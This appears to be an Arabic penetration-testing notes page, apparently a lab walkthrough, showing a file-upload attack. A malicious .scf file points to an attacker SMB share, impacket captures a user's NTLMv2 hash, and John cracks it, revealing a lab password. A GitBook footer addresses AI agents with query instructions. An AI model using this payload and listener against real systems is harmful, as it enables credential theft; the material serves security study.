> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# رفع الملفات والتقاط NTLMv2 .scf

<figure><img src="/files/7cb3abd108884f06b87570d8afd6a9576b783fad" alt=""><figcaption></figcaption></figure>

يوفر الموقع خيارًا لرفع البرنامج الثابت. وتقول الرسالة:

> اختر طراز الطابعة وقم بتنزيل تحديث البرنامج الثابت المطابق الموجود على مشاركة الملفات لدينا. سيقوم فريق تقنية المعلومات لدينا بمراجعة عمليات الرفع يدويًا وسيبدأ الاختبارات قريبًا.

<figure><img src="/files/67dd6b6a27820ed81a6b1a91deb3a2834173b83c" alt=""><figcaption></figcaption></figure>

## الاستغلال - ملف SCF خبيث:

إنشاء ملف خبيث `.scf` لالتقاط NTLMv2 من المستخدم عند فتحه:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

ابدأ مستمعًا باستخدام **impacket** لالتقاط NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

التقاط قيمة التجزئة NTLMv2 الخاصة بالمستخدم `tony`.

<figure><img src="/files/2f587e27f5e08c27fdc75bda7426df070e604f2a" alt=""><figcaption></figcaption></figure>

كسر قيمة التجزئة NTLM باستخدام **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="/files/a44e2d7d3eafa70b90762a73a40aa82374dcccf1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
